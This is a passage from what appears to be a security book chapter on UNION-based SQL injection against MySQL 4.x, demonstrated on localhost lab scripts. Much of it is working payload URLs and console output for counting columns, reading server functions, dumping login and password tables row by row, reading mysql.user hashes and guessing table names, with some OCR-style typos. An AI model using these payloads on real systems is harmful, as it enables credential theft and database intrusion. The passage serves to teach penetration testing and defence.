새로운 댓글
Suppose the attacker has successfully used the methods described in the previous section to detect SQL injection vulnerability in MySQL database server 4.x.
Suppose apostrophes and quotation marks in received values aren't filtered.
Later in this chapter, I will describe a method that allows you to circumvent any filtration of apostrophes and quotation marks if SQL injection exists.
In addition, suppose that the value of a parameter in a request isn't between apostrophes or quotation marks. The case, in which these characters are required, can be reduced to the previous case by adding an apostrophe or a quotation mark before a space character that is after the parameter value.
Consider a few examples:
?id=1123+AND+l/* — Without apostrophes and quotation marks
?id=1123'+AND++/* -With apostrophes
?id=1123"+AND+l/* — With quotation marks
I mentioned earlier that the main difference in MySQL server 4.x from the earlier versions is the UNTON construction that allows the user to combine multiple queries into one. Remember that in MySQL, it is impossible to combine multiple queries using semicolons, unlike with some other databases. The syntax of such a query is the following:
The last SELECT construction (and only the last one) can include the INTO OUTFTLE construction.
The number of output columns should be the same in all subqueries. In addition, all values received in all SELECT queries except for the first one will be converted to the data types of the first SELECT construction:
su-2.05b# mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 48 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select 1, 2, 3 union select 2, 3.5, 4;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
| 2 | 4 | 4 |
+---+---+---+
2 rows in set (0.01 sec)
mysql> select 'abc', 2.5, 3 union select 'test', '3.5test', 'test';
+-----+-----+---+
| abc | 2.5 | 3 |
+-----+-----+---+
| abc | 2.5 | 3 |
| tes | 3.5 | 0 |
+-----+-----+---+
2 rows in set (0.00 sec)
mysql> select 1,2,3,4 union select 1,2,3;
ERROR 1222: The used SELECT statements have a different number of columns
mysql>
| Warning | Using the UNION construction in MySQL, you can combine only the SELECT queries. |
If the attacker knows the database structure and has complete information about the query, he or she will easily create a query that will use the UNION construction to retrieve data from the database.
However, in most cases, the attacker knows little about the database structure. He or she doesn't know the names of databases, tables, or columns. In addition, the attacker rarely knows the query type.
When the attacker wants to use the UNION construction in a query, he or she would specify the same number of columns in the SELECT subqueries to avoid errors.
If the text of an erroneous SQL query isn't output, finding the number of columns isn't an easy task. To fulfil it, an attacker can use the fact that the NULL value in most database servers can be converted to any data type without errors.
Remember that in MySQL any data type can be cast to any other.
To count the columns returned by the first subquery, the attacker can send values of a weakly-filtered parameter so that the first subquery can be combined with the other subqueries using the UNION construction:
select null
select null, null
select null, null, null
And so on.
The attacker would need to remember that it might be necessary to discard the remainder of the query. In addition, he or she must not forget about unmatched opening parentheses that are likely in the query.
In this situation, only one SQL query won't cause an error message. The number of the NULL values sent in the second query will indicate the number of columns returned to the first subquery.
In the http://localhost/3/12.php example described earlier, the attacker could send the following HTTP requests:
http://localhost/3/12.php?id=1123
http://localhost/3/12.php?id=1123))/*
http://localhost/3/12.php?id=1123))+UNION+select+NULL/*
http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL/*
http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL,NULL/*
http://localhost/3/12.php?id=l123))+UMON+select+NULL,NULL,NULL,NULL/*
Note that the first request sends the original value of the id parameter before the closing parentheses (or a space).
This method allows the attacker to find the number of columns in the query even when he or she cannot determine whether an error happened in the SQL query or the empty result was returned.
In most cases, if the attacker is lucky, the result output in the browser will be similar to the result returned to the first or the second request. In this example, among the requests including the UNION construction, only the fifth request returns such a result.
The attacker can draw the conclusion that the query returns three columns.
After the attacker obtains the ability of embedding the UNION construction into a query, he or she will probably want to output the results of the query to the browser.
In general, results of a query output to the browser can be of two types. The HTML page can display all rows of the results. This is the simplest case, in which all the results are output to the same place. In other case, the results of one or a few queries are displayed on the HTML page.
In any case, the attacker would like to know, which parameter of the second query is displayed in the HTML page. To learn this, he or she is likely to change the request with the UNION construction and the NULL parameters that results in a syntactically-correct SQL query.
Because the attacker already possesses enough information to create a syntactically-correct UNION SELECT query, he or she would specify a value of the embedded parameter so that the value is syntactically correct but no database record corresponds to it.
In addition, to learn which columns in which form are displayed on the HTML page, the attacker can embed integers rather than the NULL values. Remember that integers in MySQL can be cast to any type without losing the value.
In the example I'm describing, the attacker could create the following request:
http://localhost/3/12.php?id=999999))+UNION+select+1,2,3/*
The result of this request would be a three output in the browser window. This would confirm the attacker's supposition that the value of the third column is output.
Remember that the results of the subsequent subqueries in the UNION SELECT query will be converted to the types of the columns of the first subquery. It often happens that the attacker requires a large amount of text data in the second subquery and that the corresponding column of the first subquery is a string not long enough. In this case, the result of the second subquery will be truncated to the length of the string.
If this happens, the attacker could try to find another column for long text data or use the substring() function to divide the long text into several parts. However, this could be a tedious job. The attacker could make the following request to the HTTP server:
http://localhost/3/12.php?id=1123))+UNION+select+1,2,3/*
The result of this request is a database record corresponding to the id=1123 parameter. Taking into consideration everything I said earlier, the SQL query generated from the sent parameter value should return two lines of the result. So, the attacker can be sure that the HTML page returns only the first line of the result.
Consider SQL queries sent to the database server in the examples given earlier:
su-2.05b# mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 74 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use book1
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> -- http://localhost/3/12.php?id=1123
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)and 1);
+----+------+------------------------------+
| id | xid | value |
+----+------+------------------------------+
| 1 | 1123 | a few possible values |
+----+------+------------------------------+
1 row in set (0.01 sec)
mysql> -- http://localhost/3/12.php?id=1123))/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123))/*) and 1);
+----+------+------------------------------+
| id | xid | value |
+----+------+------------------------------+
| 1 | 1123 | a few possible values |
+----+------+------------------------------+
1 row in set (0.00 sec)
mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+NULL/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select NULL/*) and 1);
ERROR 1222: The used SELECT statements have a different number of columns
mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select NULL,NULL/*) and 1);
ERROR 1222: The used SELECT statements have a different number of columns
mysql> --
http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL,NULL/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select NULL,NULL,NULL/*) and 1);
+----+-------+-----------------------------+
| id | xid | value |
+----+-------+-----------------------------+
| 1 | 1123 | a few possible values |
| 0 | | |
+----+-------+-----------------------------+
2 rows in set (0.00 sec)
mysql> --
http://localhost/3/12.php?id=1123))+UNION+select+NULL,NULL,NULL,NULL/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select NULL,NULL,NULL,NULL/*) and 1);
ERROR 1222: The used SELECT statements have a different number of columns
mysql> -- http://localhost/3/12.php?id=999999))+UNION+select+1,2,3/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=999999))
UNION select 1,2,3/*) and 1);;
+----+-----+-------+
| id | xid | value |
+----+-----+-------+
| 1 | 2 |3 |
+----+-----+-------+
1 row in set (0.00 sec)
mysql> -- http://localhost/3/12.php?id=1123))+UNION+select+1,2,3/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select 1,2,3/*) and 1);;
+----+------+----------------------------+
| id | xid | value |
+----+------+----------------------------+
| 1 | 1123 | a few possible values |
| 1 | 2 | 3 |
+----+-----+-----------------------------+
2 rows in set (0.00 sec)
mysql>
To cut the remainder of the query, the attacker could use the null character rather than the comment sequence, assuming that the mysql_connect() MySQL API function interprets this character as a string terminator.
Here is an example that demonstrates the use of the null character to truncate a query:
http://localhost/3/13.php?id=9999+UNION+select+1,2,3%00+any+string
This displays a three on the HTML page.
Try to use this method with the http://localhost/3/12.php script:
http://localhost/3/12.php?id=9999+UNION+select+1,2,3%00+any+ string
The HTML page is empty! As I demonstrated earlier, this is an indication of an error in the SQL query.
What could cause the error? The investigation of this script made earlier revealed that it screens apostrophes and quotation marks with backslashes. If you look at the source code of the script, you'll notice that this filtration is implemented with the addslashes() function. In PHP, this function screens the following characters: apostrophes, quotation marks, backslashes, and null characters (whose code is 0). So, this function prevents null characters from being used.
So, I have demonstrated how the attacker can count the number of columns returned by a query and create a correct UNION SELECT query that returns the data he or she is interested in. This knowledge is enough to create a query that would return the value of any function.
The attacker is likely to be interested in the following functions:
version() — The MySQL server version
user() — The name of the user and the host
database() — The database name
To obtain the values of these functions, the attacker would create requests like those shown here.
http://localhost/3/12.php?id=9999))+UNION+select+1,2,version()/* |
|---|
4.0.18-nt |
http://localhost/3/12.php?id=9999))+UNION+select+1,2,user()/* |
|---|
rootglocalhost |
http://localhost/3/12.php?id=9999))+UNION+select+1,2,database()/* |
|---|
book1 |
The values returned by any other function can be obtained in a similar manner.
Because the attacker creates any SELECT query that he or she likes, he or she can retrieve any information from any table on the server. Because the attacker can specify the database, table, or column name in a SELECT query, he or she can retrieve the contents of any table in any database if he or she knows their names and has the select_priv privilege in the database.
Consider a few examples of retrieving information from databases and tables.
These assume the attacker knows the names of the databases, tables, and columns.
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords/* |
|---|
admin |
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords/* |
|---|
passadmin1 |
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+book2.passwords/* |
|---|
root |
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+book2.passwords/* |
|---|
test |
The structure of the script being investigated is that it displays no more than one line of the result. To obtain the other lines of the result, the attacker can use the LIMIT construction.
MySQL allows the user to combine LIMIT with UNION in SQL queries.
In the following examples, the attacker first obtains the size of the page and then every row from the table:
http://localhost/3/12.php?id=999999))+UNION+select+1,2,count(*)+from+passwords/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords+limit+0,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords+limit+0,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords+limit+l,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords+limit+l,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords+limit+2,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords+limit+2,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,login+from+passwords+limit+3,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,pass+from+passwords+limit+3,1/*
After these requests are fulfilled, the attacker will know the logins and passwords of all users.
It would be tedious to retrieve data from a large table using this method manually. However, it is easy to write a program that will make such HTTP requests to the target server and display the results in a form convenient to the attacker. This program can be a modified version of the program for creating an HTTP request that was described in Chapter 1.
In addition, the attacker has enough information to create HTTP requests that will retrieve information from the system database.
http://localhost/3/12.php?id=999999))+UNION+select+1,2,user+from+mysql.user+limit+0,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,password+from+mysql.user+limit+0,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,user+from+mysql.user+limit+1,1/*
http://localhost/3/12.php?id=999999))+UNION+select+1,2,password+from+mysql.user+limit+1,1/*
Although the user table of the system database of MySQL stores only password hashes, quick algorithms for computing a MySQL password from its hash are available. The attacker can know the names of tables and databases if the target server uses well-known software for forums, chats, and portals.
However, the attacker often doesn't know anything about the system. In such a case, he or she can try possible names of tables and columns, exploiting the fact that an incorrect name will cause an error.
To find the names of tables likely to be in the current database, the attacker can create the following HTTP requests to the server:
http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+tablel/*
http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+table2/*
http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+testl/*
http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+passwords/*
In the second SELECT subquery, the attacker would try possible table names. There would be no attempt to retrieve information from the tables because the names of the columns would be missing from the queries.
Although no information is retrieved from the tables, the table requested in the second subquery should exist so that the query can complete successfully.
As a result, only the HTTP requests that include correct table names won't cause errors in SQL queries.
In this example, only the third and the fourth requests won't result in an empty HTML page. Because an empty page in this example indicates an error in the SQL query, the attacker can infer that the investigated database contains the test1 and passwords tables but is missing the table1 and table2 tables.
It would be tedious to try all possible table names. Even if the attacker writes a program to automate the process, the results are likely to be poor.
However, the attacker will try user, users, password, passwords, orders, purchases, and other names that could be related to the specific of the investigated site or server. He or she can guess some table names by examining the HTML code of the pages generated by the server.
After the attacker finds the name of a table, he or she is likely to try to find the names of its columns:
http://localhost/3/12.php?id=1123))+UNION+select+1,2,id+from+passwords/*
http://localhost/3/12.php?id=1123))+UNION+select+1,2,name+from+ password/*
http://localhost/3/12.php?id=1123))+UNION+select+1,2,pass+from+ passwords/*
http://localhost/3/12.php?id=1123))+UNION+select+1,2,password+ from+passwords/*
As with the previous HTTP requests, the absence of an error in a particular SQL query will indicate that a column with the submitted name exists in the table.
The attacker can try the names manually or using a program that has a list of possible names. In any case, the attacker could guess, which column names are likely to be in the table being investigated.
In addition, it is possible to guess the names by examining the HTML code of the pages generated by the server. For example, the names of HTTP GET, POST, and COOKIE parameters are often the same as the column names in a table accessed using these parameters. The names of hidden form parameters often coincide with the names of database tables.
Even if the names of parameters available in the HTML code of the page don't coincide with the names of tables and table columns, the attacker can analyze the names given by the programmer to components of the system.
Thus, the attacker can find certain naming trends. These can be abbreviations, transliteration, preference to a particular language, and so on.
The names of the parameters can be found in the HTML code of the page and in the HTTP headers of the server's response.
Consider an example of how the MySQL server responds when the second subquery contains existing and nonexistent names of tables and table columns:
su-2.05b# mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 178 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use book1;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> -- http://localhost/3/12.php?id=1123
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123) and 1);
+----+------+------------------------------+
| id | xid | value |
+----+------+------------------------------+
| 1 | 1123 | a few possible values |
+----+------+------------------------------+
1 row in set (0.00 sec)
mysql> --
http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+tablel/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select 1,2,3 from tablel/*) and 1);
ERROR 1146: Table 'book1.tablel' doesn't exist
mysql> --
http://localhost/3/12.php?id=1123))+UNION+select+1,2,3+from+passwords/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select 1,2,3 from passwords/*) and 1) ;
+----+------+----------------------------+
| id | xid | value |
+----+------+----------------------------+
| 1 | 1123 | a few possible values |
+----+-----+-----------------------------+
1 row in set (0.00 sec)
mysql> --
http://localhost/3/12.php?id=1123))+UNION+select+1,2, id+from+passwords/*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select 1,2,id from passwords/*) and 1);
+----+------+----------------------------+
| id | xid | value |
+----+------+----------------------------+
| 1 | 1123 | a few possible values |
+----+------+----------------------------+
1 row in set (0.00 sec)
mysql> --
http://localhost/3/12.php?id=1123))+UNION+select+1,2,pass+from+passwords/
*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select 1,2,pass from passwords/*) and 1);
+----+------+-----------------------------+
| id | xid | value |
+---+----+--------------------------------+
| 1 | 1123 | a few possible values |
+----+------+-----------------------------+
1 row in set (0.00 sec)
mysql> --
http://localhost/3/12.php?id=1123))+UNION+select+1,2,name+from.+passwords/
*
mysql> select * from test3 where (1 and 1) and ((1=2 or xid=1123)) UNION
select 1,2,name from passwords/*) and 1);
ERROR 1054: Unknown column 'name' in 'field list'
mysql>
By this time, the attacker already has enough answers to retrieve information from the database by exploiting the SQL injection vulnerability in the SELECT queries sent to the MySQL 4.x database server.
| Warning | This method cannot be used for retrieving information from the MySQL 3.x database. MySQL 3.x doesn't allow you to use UNION, JOIN, and other constructions. |
Sometimes, injection is possible after the LIMIT keyword — and not only in the WHERE clause. Injection in this point can be detected when a script takes parameters that determine, which page and how many lines should be displayed. These values are often set using a drop-down list with integer values.
The attacker will try to embed malicious values that replace the valid ones because programmers often neglect filtration and forget that the types of these values can be changed implicitly by editing the HTML code of the page and changing the HTTP request.
Consider an example that demonstrates how MySQL responds to various constructions after the LIMIT keyword:
-bash-2.05b$ mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 4.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use book1;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from test1 limit 1,2;
+------+-----------------------+
| id | name |
+------+-----------------------+
| 2 | Tom Brown |
| 3 | Peter Black |
+------+-----------------------+
2 rows in set (0.01 sec)
mysql> select * from test1 limit 1,2-1;
ERROR 1064: You have an error in your SQL syntax. Check the manual that
correspondsto your MySQL server version for the right syntax to use near
'-1' at line 1
mysql> select * from test1 limit 1,(2-1);
ERROR 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near
'(2-1)' at line 1
mysql> select * from test1 limit 1/*,(2-1);
+------+-----------------------+
| id | name |
+----+-------------------------+
| 1 | John Smith |
+----+-------------------------+
1 row in set (0.00 sec)
mysql> select * from test1 limit 1+1/*,(2-1);
ERROR 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near
'+1/*,(2-1)' at line 1
mysql> select * from test1 limit (1+1)/*,2-1;
ERROR 1064: You have an error in your SQL syntax. Check the manual that
corresponds to your MySQL server version for the right syntax to use near
'(1+1)/*,2-1' at line 1
mysql> select * from test1 limit 1,2 union select 1,2;
+----+-------------------------+
| id | name |
+----+-------------------------+
| 2 | Tom Brown |
| 3 | Peter Black |
| 1 | 2 |
+----+-------------------------+
3 rows in set (0.02 sec)
mysql> select * from test1 limit 1,0 union select 1,2/*;
+----+------+
| id | name |
+----+------+
| 1 + 2 |
+----+------+
1 row in set (0.00 sec)
mysql> select * from test1 limit 9999,0 union select 1,2/*;
+----+------+
| id | name |
+----+------+
| 1 | 2 |
+----+------+
1 row in set (0.00 sec)
mysql> select * from test1 limit 2 union select 1,2/*;
+----+---------------------+
| id | name |
+----+---------------------+
| 1 | John Smith |
| 2 | Tom Brown |
| 1 | 2 |
+----+---------------------+
3 rows in set (0.00 sec)
mysql> select * from test1 limit 0 union select 1,2/*;
+----+------+
| id | name |
+----+------+
| 1 | 2 |
+----+------+
1 row in set (0.00 sec)
mysql>
Thus, the attacker can find that embedding mathematical expressions after LIMIT cause errors. This puts certain restrictions on such queries. Therefore, even if the parameter value isn't within apostrophes or quotation marks, the attacker cannot identify queries by replacing parameter values with mathematical expressions.
In addition, the attacker won't be able to embed Boolean constructions and any functions.
However, if the MySQL server's version is 4.x and later, the attacker will be able to embed an additional SELECT query using the UNION construction as usual.
If the server's version is 3.x, the only thing the attacker can do is to try to save the results of a malicious query into a file by using the SELECT ... INTO OUTFILE construction. This construction is comprehensively described later in this chapter.
댓글,